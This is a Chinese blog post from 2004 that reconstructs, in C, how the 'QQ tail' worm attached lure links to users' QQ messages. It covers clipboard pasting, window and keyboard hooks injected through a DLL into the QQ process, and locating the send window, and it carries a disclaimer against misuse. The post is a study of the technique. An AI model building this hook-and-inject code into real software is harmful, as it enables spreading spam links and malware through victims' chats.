browser icon
You are using an insecure version of your web browser. Please update your browser!
Using an outdated browser makes your computer unsafe. For a safer, faster, more enjoyable user experience, please update your browser today or try a newer browser.

“QQ尾巴病毒”核心技术的实现

Posted by on 2004 年 02 月 08 日

你可以任意转载本文,但请在转载后的文章中注明作者和原始链接。
媒体约稿请联系 titilima_AT_163.com(把“_AT_”换成“@”)。

声明:本文旨在探讨技术,请读者不要使用文章中的方法进行任何破坏。“QQ尾巴病毒”是一种靠链接传播的病毒,避免中毒的方法就是不要轻易点击陌生网友发过来的链接。如果您已经中毒,请到QQ主页上下载专杀工具进行查杀。另:考虑到任何可能出现的影响,对于本病毒的一切技术,作者不再进行解答。
2003这一年里,QQ尾巴病毒可以算是风光了一阵子。它利用IE的邮件头漏洞在QQ上疯狂传播。中毒者在给别人发信息时,病毒会自动在信息文本的后边添上一句话,话的内容多种多样,总之就是希望信息的接收者点击这句话中的URL,成为下一个中毒者。下图就是染毒后的QQ发送的消息,其中中毒者只打了“你好”两个字,其它的就全是病毒的杰作了。

下面我将要讨论的,就是QQ尾巴病毒使用的这一技术。由于病毒的源代码无法获得,所以以下的代码全是我主观臆断所得,所幸的是效果基本与病毒本身一致。

粘贴尾巴

首先的一个最简单的问题是如何添加文本。这一技术毫无秘密可言,就是通过剪贴板向QQ消息的那个RichEdit“贴”上一句话而已。代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
TCHAR g_str[] = “欢迎来我的小站坐坐:http://titilima.nease.net”;
// 函数功能:向文本框中粘贴尾巴
void PasteText( HWND hRich )
{
    HGLOBAL hMem;
    LPTSTR pStr;
    // 分配内存空间
    hMem = GlobalAlloc( GHND | GMEM_SHARE, sizeof( g_str ) );
    pStr = GlobalLock( hMem );
    lstrcpy( pStr, g_str );
    GlobalUnlock( hMem );
    OpenClipboard( NULL );
    EmptyClipboard();
    // 设置剪贴板文本
    SetClipboardData( CF_TEXT, hMem );
    CloseClipboard();
    // 释放内存空间
    GlobalFree( hMem );
    // 粘贴文本
    SendMessage( hRich, WM_PASTE, 0, 0 );
}

钩子

好了,那么下面的问题是,这段文本应该在什么时候贴呢?网上有一些研究QQ尾巴实现的文章指出,可以用计时器来控制粘贴的时间,类似这个样子:

1
2
3
4
void CQQTailDlg::OnTimer( UINT nIDEvent )
{
    PasteText( hRich );
}

这的确是一种解决的手段,然而它也存在着极大的局限性——计时器的间隔如何设置?也许中毒者正在打字,尾巴文本“唰”的出现了……
然而病毒本身却不是这样子,它能够准确地在你单击“发送”或按下Ctrl+Enter键的时候将文本粘贴上。2003年1月份我的一台P2曾经中过毒,由于系统速度较慢,所以可以很清楚地看见文本粘贴的时机。
讲到这里,我所陈述的这些事实一定会让身为读者的你说:钩子!——对,就是钩子,下面我所说的正是用钩子来真实地再现“QQ尾巴病毒”的这一技术。
首先我对钩子做一个简要的介绍,已经熟悉钩子的朋友们可以跳过这一段。所谓Win32钩子(hook)并不是铁钩船长那只人工再现的手臂,而是一段子程序,它可以用来监视、检测系统中的特定消息,并完成一些特定的功能。打个比方来说,你的程序是皇帝,Windows系统充当各省的巡抚;至于钩子,则可以算是皇上的一个钦差。譬如皇帝下旨在全国收税,然后派了一个钦差找到山西巡抚说:“皇上有旨,山西除正常赋税外,加收杏花村酒十坛。”(-_-#……)正如皇帝可以用这种方法来特殊对待特定的巡抚一样,程序员也可以用钩子来捕获处理Windows系统中特定的消息。
问题具体到了“QQ尾巴病毒”上边,就是我们需要一个钩子,在用户单击了“发送”按钮之后,粘贴我们的文本。我所实现的这段钩子过程为(至于如何挂接这个钩子,我会在稍后说明):

1
2
3
4
5
6
7
8
9
10
11
// 钩子过程,监视“发送”的命令消息
LRESULT CALLBACK CallWndProc( int nCode, WPARAM wParam, LPARAM lParam )
{
    CWPSTRUCT *p = (CWPSTRUCT *)lParam;
    // 捕获“发送”按钮
    if ( p->message == WM_COMMAND && LOWORD( p->wParam ) == 1 )
    {
        PasteText( g_hRich );
    }
    return CallNextHookEx( g_hProc, nCode, wParam, lParam );
}

在此我对这个回调过程说明几点:

  1. lParam是一个指向CWPSTRUCT结构的指针,这个结构的描述如下:
    1
    2
    3
    4
    5
    6
    
    typedef struct {
        LPARAM lParam;
        WPARAM wParam;
        UINT message;
        HWND hwnd;
    } CWPSTRUCT, *PCWPSTRUCT;

    这时候像我一样的SDK fans也许会会心一笑:这不是窗口回调的那四个铁杆参数么?如你所说,的确是这样,你甚至可以使用switch (p->message) { /* … */ }这样的代码写成的钩子函数来全面接管QQ窗口。

  2. g_hRich是一个全局变量,它保存的是QQ消息文本框的句柄。这里之所以采用全局变量,是因为我无法从键盘钩子回调函数的参数中获得这个句柄。至于如何获得这个句柄以及这个全局变量的特殊位置,我会在稍后说明。
  3. CallNextHookEx是调用钩子链中的下一个处理过程,换了钦差就会说:“十坛杏花村酒本钦差已经替皇上收下了,现在请巡抚大人把贵省正常的赋税交上来吧。”(-_-#……)这是书写钩子函数中很重要的一个环节,如果少了这一句,那么可能会导致系统的钩子链出现错误,某些程序也会没有响应——事实上我在编写这个仿真程序的时候QQ就当掉了几回。
  4. 你也许会问为什么我捕获的是WM_COMMAND消息,这个原因让我来用下面的SDK代码(虽然QQ是用MFC写的,但是用SDK代码才能说明WM_COMMAND和“发送”按钮的关系)来说明:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    
    #define IDC_BTN_SENDMSG 1 // “发送”按钮ID的宏定义
    // QQ发送消息对话框回调过程·李马伪造版
    LRESULT CALLBACK ProcSendDlg( HWND hDlg, UINT Msg, WPARAM wParam, LPARAM lParam )
    {
        switch ( Msg )
        {
        case WM_CLOSE:
            EndDialog( hDlg, 0 );
            break;
        case WM_COMMAND:
            {
                switch ( LOWORD( wParam ) )
                {
                case IDC_BTN_SENDMSG:
                    // 发送消息…
                    break;
                // 其它的命令按钮处理部分…
                }
            }
            break;
        // 其它的case部分…
        }
        return 0;
    }

    消息发送的整个过程是:当用户单击了“发送”按钮后,这个按钮的父窗口(也就是“发送消息”的对话框)会收到一条WM_COMMAND的通知消息,其中wParam的低位字(即LOWORD(wParam))为这个按钮的ID,然后再调用代码中发送的部分,这个过程如下图:

    所以,在此我捕获WM_COMMAND消息要比捕获其它消息或挂接鼠标钩子要有效得多。

好了,现在这个钩子已经可以胜利地完成任务了。但是请不要忘记:有更多的用户更偏爱于用“Ctrl+Enter”热键来发送消息,所以程序中还需要挂上一个键盘钩子:

1
2
3
4
5
6
7
8
9
10
// 键盘钩子过程,监视“发送”的热键消息
LRESULT CALLBACK KeyboardProc( int nCode, WPARAM wParam, LPARAM lParam )
{
    // 捕获热键消息
    if ( wParam == VK_RETURN && GetAsyncKeyState( VK_CONTROL ) < 0 && lParam >= 0 )
    {
        PasteText( g_hRich );
    }
    return CallNextHookEx( g_hKey, nCode, wParam, lParam );
}

在这里唯一要解释的一点就是lParam >= 0子句。很明显这个if判断是在判断热键Ctrl+Enter的输入,那么lParam >= 0又是什么呢?事实上在键盘钩子的回调之中,lParam是一个很重要的参数,它包含了击键的重复次数、扫描码、扩展键标志等等的信息。其中lParam的最高位(0x80000000)则表示了当前这个键是否被按下,如果这个位正在被按下,这个位就是0,反之为1。所以lParam >= 0的意思就是在WM_KEYDOWN的时候调用PasteText,也就是说,如果去掉这个条件,PasteText将会被调用两次(连同WM_KEYUP的一次)。

挂接钩子和查找窗口

接下来就是如何挂接这两个钩子了。对于挂接钩子,要解决的问题是:往哪里挂接钩子,以及如何挂接?
挂接钩子的目标,肯定是QQ“发送信息”窗口的所属线程。我的代码就是将这个窗口的句柄传入之后来进行钩子的挂接:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
// 挂接钩子
BOOL WINAPI SetHook( HWND hQQ )
{
    BOOL bRet = FALSE;
    if ( hQQ != NULL )
    {
        DWORD dwThreadID = GetWindowThreadProcessId( hQQ, NULL );
        // 感谢好友hottey的查找代码,省去了我使用Spy++的麻烦
        g_hRich = GetWindow( GetDlgItem( hQQ, 0 ), GW_CHILD );
        if ( g_hRich == NULL )
        {
            return FALSE;
        }
        // 挂接钩子
        g_hProc = SetWindowsHookEx( WH_CALLWNDPROC, CallWndProc, g_hInstDLL, dwThreadID );
        g_hKey = SetWindowsHookEx( WH_KEYBOARD, KeyboardProc, g_hInstDLL, dwThreadID );
        bRet = ( g_hProc != NULL ) && ( g_hKey != NULL );
    }
    else
    {
        // 卸载钩子
        bRet = UnhookWindowsHookEx( g_hProc ) && UnhookWindowsHookEx( g_hKey );
        g_hProc = NULL;
        g_hKey = NULL;
        g_hRich = NULL;
    }
    return bRet;
}

到此为止,以上所有的代码都位于一个Hook.dll的动态链接库之中,关于DLL我就不多介绍了,请查阅MSDN上的相关资料和本文的配套源代码。
DLL之中已经做好了所有重要的工作(事实上这部分工作也只能由DLL来完成,这是由Windows虚拟内存机制决定的),我们只需要在EXE之中调用导出的SetHook函数就可以了。那么,SetHook的参数如何获得呢?请看以下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
// 感谢好友hottey的查找代码,省去了我使用Spy++的麻烦
HWND hSend;
g_hQQ = NULL;
SetHook( NULL );
do
{
    g_hQQ = FindWindowEx( NULL, g_hQQ, “#32770″, NULL );
    hSend = FindWindowEx( g_hQQ, NULL, “Button”, “发送(&S));
} while ( g_hQQ != NULL && hSend == NULL );
if ( g_hQQ != NULL )
{
    SetHook( g_hQQ );
}

这段代码中的do-while循环就是用来查找“发送消息”的窗口的,QQ窗口的保密性越来越强了,窗口一层套一层,找起来十分不便,所以在此感谢好友hottey的《QQ消息炸弹随想》一文省去了我反复使用Spy++的麻烦。我所做的,只是把他文中的Delphi代码翻译成了C代码。

DLL的共享数据段

如果你对DLL不甚了解,那么在你读到我的配套源代码之后,肯定会对下面这一段代码有些疑问:

1
2
3
4
5
6
7
// 定义共享数据段
#pragma data_seg( ”shared” )
HHOOK g_hProc = NULL; // 窗口过程钩子句柄
HHOOK g_hKey = NULL; // 键盘钩子句柄
HWND g_hRich = NULL; // 文本框句柄
#pragma data_seg()
#pragma comment( linker, ”/section:shared,rws” )

这定义了一段共享的数据段,是的,因为我的注释已经写得很清楚了,那么共享数据段起到了什么作用呢?在回答这个问题之前,我请你把代码中以#开头的预处理指令注释掉然后重新编译这个DLL并运行,你会发现什么?
是的,添加尾巴失败!
好了,我来解释一下这个问题。我们的这个仿真程序的EXE、DLL以及QQ的主程序事实上是下面这样一种关系:

这个DLL需要将一个实例映射到EXE的地址空间之中以供其调用,还需要将另一个实例映射到QQ的地址空间之中来完成挂接钩子的工作。也就是说,当钩子挂接完毕之后,整个系统的模块中,有两个DLL实例的存在!此DLL非彼DLL也,所以它们之间是没有任何联系的。拿全局变量g_hRich来说,图中左边的DLL通过EXE的传入获得了文本框的句柄,然而如果没有共享段的话,那么右边的DLL中,g_hRich仍然是NULL。共享段于此的意义也就体现出来了,就是为了保证EXE、DLL、QQ三者之间的联系。这一点,和C++中static的成员变量有些相似。
在钩子挂接成功之后,你可以通过一些有模块查看功能的进程管理器看一看,就会发现Hook.dll也位于QQ.exe的模块之中。

最后一些要说的

  1. 我是前说过,在2003年的1月份我就碰到了这种病毒,至今我还很清楚地记得那个病毒EXE只有16KB大小,所以从病毒本身存在的性质来说,这个东西应该是用Win32ASM来写会更实用一些。
  2. 那个病毒我曾经是手杀的——用了一个进程查看工具就杀掉了。但是现在的“QQ尾巴”增加了复活功能——在EXE被杀掉后,DLL会将其唤醒。我曾经用我的进程查看工具分析过,发现系统中几乎所有的进程都被病毒的DLL挂住了。这一技术是利用CreateRemoteThread在所有的进程上各插入了一个额外的复活线程,真可谓是一石二鸟——保证EXE永远运行,同时这个正在使用中的DLL是无法被删除的。这一技术我也已经实现了,但是稳定性方面远不及病毒本身做得优秀,故在此也就不将其写出了,有兴趣的朋友可以参考Jeffrey Richter《Windows核心编程》的相关章节。
  3. 走笔至此想起了侯捷老师《STL源码剖析》中的一句话——“源码之前,了无秘密。”如果你看完本文之后也有这样的感觉,那么我将感到不胜荣幸。

附件:qqtail.zip

订阅本站

4 Comments

  • At 2006.03.07 13:38, 空心草 said:

    爽!
    牛人就是牛人,先收下了,
    随便也引用到我的博客上去!

    • At 2006.05.23 16:31, Friday said:

      有没有针对QQ最新版本的,好象现在的版本有很大改动,我试了以下,不行,水平有限,也没有改出来

      • At 2006.06.20 19:59, 等风的旗 said:

        姑且先直呼你的姓名吧,李马你好。
        请问这个源码支持什么版本的QQ,还有就是版本的不同影响到程序的哪部分?小弟初学HOOK,你的文章是很好的教材,很感谢,今天终于看到原作了。

        • At 2008.07.03 15:03, mood said:

          不好意思,我一不小心让小马荣幸了一回,好不容易,哈哈。。。

          (Required)
          (Required, will not be published)